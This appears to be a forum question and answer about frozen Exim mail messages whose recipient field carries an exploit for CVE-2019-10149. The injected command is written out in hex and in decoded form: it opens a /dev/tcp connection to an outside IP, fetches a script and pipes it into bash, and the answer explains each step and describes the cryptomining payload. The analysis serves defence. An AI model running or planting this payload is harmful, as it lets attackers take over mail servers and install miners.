Sudden unidentified frozen emails with code injection-like recipient

Question

I am suddenly receiving a number of curious "Message frozen" emails from my server (Exim 4.89, Debian stable) :

Message 1hcbPR-0005t1-2r has been frozen (delivery error message).

The sender is <>.

The following address(es) have yet to be delivered:

root+${run{\x2fbin\x2fbash\x20\x2dc\x20\x22\x65\x78\x65\x63\x20\x35\x3c\x3e\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x35\x31\x2e\x33\x38\x2e\x31\x33\x33\x2e\x32\x33\x32\x2f\x38\x30\x3b\x65\x63\x68\x6f\x20\x2d\x65\x20\x27\x47\x45\x54\x20\x2f\x20\x48\x54\x54\x50\x2f\x31\x2e\x30\x5c\x6e\x27\x20\x3e\x26\x35\x3b\x74\x61\x69\x6c\x20\x2d\x6e\x20\x2b\x31\x31\x20\x3c\x26\x35\x20\x7c\x20\x62\x61\x73\x68\x22\x20\x26}}@localhost: Too many "Received" headers - suspected mail loop

$ sudo exim4 -Mvb 1hcbPR-0005t1-2r
1hcbPR-0005t1-2r-D
$ sudo exim4 -Mvh 1hcbPR-0005t1-2r
1hcbPR-0005t1-2r-H
Debian-exim 101 103
<>
1560715549 0
-helo_name localhost
-host_address 163.172.157.143.51642
-interface_address <MY.IP>.25
-received_protocol smtp
-body_linecount 0
-max_received_linelength 12
-frozen 1560715549
-host_lookup_failed
XX
1
root+${run{\x2fbin\x2fbash\x20\x2dc\x20\x22\x65\x78\x65\x63\x20\x35\x3c\x3e\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x35\x31\x2e\x33\x38\x2e\x31\x33\x33\x2e\x32\x33\x32\x2f\x38\x30\x3b\x65\x63\x68\x6f\x20\x2d\x65\x20\x27\x47\x45\x54\x20\x2f\x20\x48\x54\x54\x50\x2f\x31\x2e\x30\x5c\x6e\x27\x20\x3e\x26\x35\x3b\x74\x61\x69\x6c\x20\x2d\x6e\x20\x2b\x31\x31\x20\x3c\x26\x35\x20\x7c\x20\x62\x61\x73\x68\x22\x20\x26}}@localhost

569P Received: from [163.172.157.143] (helo=localhost)
    by myserver.example.org with smtp (Exim 4.89)
    id 1hcbPR-0005t1-2r
    for root+${run{\x2fbin\x2fbash\x20\x2dc\x20\x22\x65\x78\x65\x63\x20\x35\x3c\x3e\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x35\x31\x2e\x33\x38\x2e\x31\x33\x33\x2e\x32\x33\x32\x2f\x38\x30\x3b\x65\x63\x68\x6f\x20\x2d\x65\x20\x27\x47\x45\x54\x20\x2f\x20\x48\x54\x54\x50\x2f\x31\x2e\x30\x5c\x6e\x27\x20\x3e\x26\x35\x3b\x74\x61\x69\x6c\x20\x2d\x6e\x20\x2b\x31\x31\x20\x3c\x26\x35\x20\x7c\x20\x62\x61\x73\x68\x22\x20\x26}}@localhost; Sun, 16 Jun 2019 22:05:49 +0200
012P Received: 1
012P Received: 2
012P Received: 3
012P Received: 4
012P Received: 5
012P Received: 6
012P Received: 7
012P Received: 8
012P Received: 9
013P Received: 10
013P Received: 11
013P Received: 12
013P Received: 13
013P Received: 14
013P Received: 15
013P Received: 16
013P Received: 17
013P Received: 18
013P Received: 19
013P Received: 20
013P Received: 21
013P Received: 22
013P Received: 23
013P Received: 24
013P Received: 25
013P Received: 26
013P Received: 27
013P Received: 28
013P Received: 29
013P Received: 30
013P Received: 31

It looks like code injection but I don't get it and it doesn't look much harmful to me :

root+${run{/bin/bash -c "exec 5<>/dev/tcp/51.38.133.232/80;echo -e 'GET / HTTP/1.0\n' >&5;tail -n +11 <&5 | bash" &}}@localhost: Too many "Received" headers - suspected mail loop

All messages are similar, with a different IP address and port. They all come from the same address.

Is it a known infection ?

Answer 1

I found the answer just before posting, figured it might be helpful for others : it does indeed correspond to attempts to exploit an Exim vulnerability, which allows for remote execution of arbitrary code. It was announced and fixed one week ago (CVE-2019-10149).

More details about this vulnerability can be found here.

Update :

Actually the injected code is not harmless at all :

exec 5<>/dev/tcp/51.38.133.232/80

assigns the new file descriptor 5 to a TCP connection on port 80 of 51.38.133.232. That is, redirecting to and from file descriptor 5 will write to and read from this IP !

Then

echo -e 'GET / HTTP/1.0\n' >&5

will send an HTTP GET request to this server and

tail -n +11 <&5

will discard the HTTP headers, keeping only a malicious bash script which is finally executed by being piped through bash :

|bash

Said script is a cryptojacking miner which amongst other things deletes the root crontab and some administrative tools (e.g. netstat), kills running processes in order to keep all the CPU for itself, and attempts to propagate through SSH…